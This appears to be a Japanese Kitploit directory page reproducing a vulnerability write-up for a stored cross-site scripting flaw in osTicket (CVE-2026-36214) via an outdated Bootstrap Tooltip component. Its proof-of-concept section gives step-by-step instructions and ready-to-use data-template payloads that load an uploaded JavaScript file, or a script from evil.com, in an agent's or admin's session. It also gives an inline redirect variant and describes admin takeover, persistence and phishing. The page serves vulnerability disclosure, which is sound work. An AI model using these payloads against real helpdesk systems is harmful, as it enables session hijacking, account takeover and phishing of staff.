Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-36214 — osTicket における脆弱な Bootstrap Tooltip コンポーネントを介した Stored Cross-Site Scripting (XSS) | Kitploit
ツール/GitHubGitHub/weswrench/cve-2026-36214
フィッシングツール脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubweswrench/cve-2026-36214

CVE-2026-36214

osTicket における脆弱な Bootstrap Tooltip コンポーネントを介した Stored Cross-Site Scripting (XSS)

リポジトリを見る
162ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-36214 - osTicket における脆弱な Bootstrap Tooltip コンポーネントを介した格納型クロスサイトスクリプティング (XSS)

説明

Enhancesoft osTicket のバージョン 1.10 から 1.17.7、および 1.18.0 から 1.18.3 には、既知の脆弱性を持つ Bootstrap Tooltip 3.3.4 コンポーネント (CVE-2019-8331) が同梱されており、格納型クロスサイトスクリプティング (XSS) の脆弱性が生じています。デフォルトの osTicket 設定では、チケット提出者(「ユーザー」)は事前認証なしでチケットを提出でき、ユーザーの自己登録もデフォルトで有効です。リモートのユーザーは、htmlLawed の HTML サニタイゼーションモジュールを通過するにもかかわらず、閲覧するエージェントまたは管理者のブラウザで任意の JavaScript を実行させる悪意のあるチケットメッセージを作成できます。この問題は、ユーザーがアップロードした JavaScript ファイルが text/javascript の Content-Type で配信され、ブラウザによってアクティブコンテンツとして解釈されることでさらに悪化します。インラインペイロードは Bootstrap Tooltip 3.3.4 が data-template 値を jQuery オブジェクトに解析し、appendTo() または insertAfter() を介して DOM に挿入する方法によって制約されますが、外部スクリプトとして攻撃者の制御するコードを実行すると、これらの制限を回避し、より強力な脆弱性の悪用が可能になります。

影響を受けるバージョン

  • テストし、脆弱性を確認:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • 影響を受けるバージョン:

    • v1.10 — v1.17.8 (除外)
    • v1.18 — v1.18.4 (除外)

このコンポーネントは 2015年5月13日 から osTicket コードベースに存在しており、以下の点から明らかです:

  • ファイル: scp/js/bootstrap-tooltip.js
  • コミット: e5a28410ae7c238932eef07c2b3568da015a792c

このコミットは バージョン 1.10 に遡る osTicket リリースタグに関連付けられており、脆弱な Bootstrap Tooltip コンポーネントが複数のメジャーバージョンにわたる広範囲の osTicket リリースに含まれていることを示しています。この長期間の包含は、何年にもわたってリリースされた多くの osTicket バージョンが影響を受けている ことを強く示唆しています。


1. 概要

osTicket は広く使われているオープンソースのチケットシステムで、エンドユーザーがチケット作成や返信の一部としてリッチな HTML コンテンツやファイル添付を提出することを可能にします。

osTicket は3つの主要なユーザーカテゴリを定義しています:

  • 管理者 (Admin)
    • 完全な管理アクセス権
    • グローバル設定、ユーザー、ロール、プラグイン
  • エージェント (Agent)
    • チケットに対する運用アクセス権
    • チケットの表示、返信、転送、クローズが可能
  • ユーザー (クライアント/エンドユーザー)
    • クライアントポータルにのみアクセス可能
    • 自分自身のチケットを作成・表示可能

ユーザー によって提出された HTML コンテンツは、後で エージェント または 管理者 のブラウザでレンダリングされる可能性があり、クライアント側の脆弱性の影響を特に大きくします。


2. 概念実証

まず、エンドユーザーアカウントで認証し、チケット作成ページに移動します。
次に、ペイロードを含む JavaScript ファイル(例: test.js)を作成します。例:

root@kitploit:~
alert(123);

注: デフォルトでは、osTicket は ファイルタイプの制限なし でチケットへの添付を許可しています。

Upload a JS file

次に、「Issue Details (問題の詳細)」 を入力せずに 「Create Ticket (チケット作成)」 をクリックしてチケットを提出します。

アプリケーションはエラー 「Issue Details is a required field (問題の詳細は必須項目です)」 とともにチケット提出フォームにリダイレクトします。
このページでは、実際にチケットを提出することなく、JavaScript ファイル (test.js) のダウンロードリンクを取得できます。

Get direct link of our uploaded JS file

Content-Type of our uploaded JS file

このリンクを取得したら、チケット提出フォームに戻ります。
HTML エディタをクリックし、以下のペイロードを貼り付け、script タグの src 属性を先ほど取得したリンクに置き換えます。

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>

以下は完全なペイロードの例で、[LINK_HERE] パターンが先ほど取得したリンクに置き換えられています:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

その後、チケットを提出します。

Submit malicious payload

管理者またはエージェントが悪意のあるチケットを表示すると、ペイロードがトリガーされます。

Payload triggered

結果:
管理者/エージェントが悪意のあるチケットを開くと、JavaScript ペイロードが読み込まれ、管理者/エージェントのセッションコンテキストで実行されます。

これにより 格納型 XSS が発生し、完全なセッション侵害(例: ezXSS を使用した管理者/エージェント操作のための CSRF)が可能になります。


3. 影響

エージェントの侵害

悪意のあるチケットが エージェント によって表示された場合、格納型 XSS はエージェントの認証されたセッションのコンテキストで実行されます。

これにより、攻撃者は セッションクッキーを抽出することなくエージェントのセッションを実質的に乗っ取る ことができます(例: クッキーの流出が現実的でなく、ezXSS などのブラインド XSS プラットフォームが使用されるシナリオでも)。XSS が実行されると、攻撃者は 侵害されたエージェントが許可されている任意の操作 を実行できます。例:

  • そのエージェントがアクセス可能なチケットを閲覧する(多くの場合、ヘルプデスクの大部分を含む)
  • チケットの添付ファイルをダウンロードして確認する
  • チケットに返信し、ユーザーとやり取りする
  • チケットの転送、クローズ、またはその他の状態更新を行う
  • 内部メモを追加する(許可されている場合)

これにより、エージェントの運用能力とチケット処理ワークフローの機密性/整合性が完全に侵害されます。

管理者の侵害

悪意のあるチケットが 管理者 によって表示された場合、影響はアプリケーション全体の侵害にエスカレートします。攻撃者は:

  • 管理者セッションを乗っ取る
  • グローバル設定 (設定、権限など) を変更する
  • 重要な設定値を変更して サービス拒否 (DoS) を引き起こす
  • 管理「ページ」/テンプレートを変更し、アプリケーション UI 上での グローバルな改ざん やフィッシングを可能にする
  • 新しい エージェント および/または 管理者 アカウントを作成して永続性を確立する

ファイルアップロード制限とコンテンツセキュリティポリシーに関する注意

osTicket のデフォルト設定では JavaScript ファイルのアップロードが許可されていますが、管理パネルでエンドユーザーが JavaScript ファイルをアップロードできないように設定することができます。さらに、エージェントや管理者が使用するスタッフコントロールパネルでは、サードパーティドメインからの JavaScript の実行を防ぐコンテンツセキュリティポリシーが適用されています。例として、以下のペイロードを見てみましょう:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

以下のスクリーンショットは、https://evil.com からのスクリプト読み込みがスタッフコントロールパネルで適用されているコンテンツセキュリティポリシーによってブロックされたことを示しています。

Payload blocked by CSP

ただし、アプリケーションに実装されているコンテンツセキュリティポリシーはインライン JavaScript を許可しています。

CSP on Agent/Admin Panel

JavaScript ファイルのアップロードがブロックされている場合でも、攻撃者が悪意のある操作を実行することは可能です。以下のペイロードを考えてみましょう:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

Base64 ペイロードは次のようにデコードされます:

root@kitploit:~
<script>top.location = "https://example.com";</script>

このペイロードにより、攻撃者は悪意のあるチケットを表示しているエージェントや管理者を任意のウェブサイト(例えばフィッシングサイト)にリダイレクトできます。

上記のペイロードを含むチケットを表示した結果を示します。

Redirect to arbitrary website

ツールをダウンロード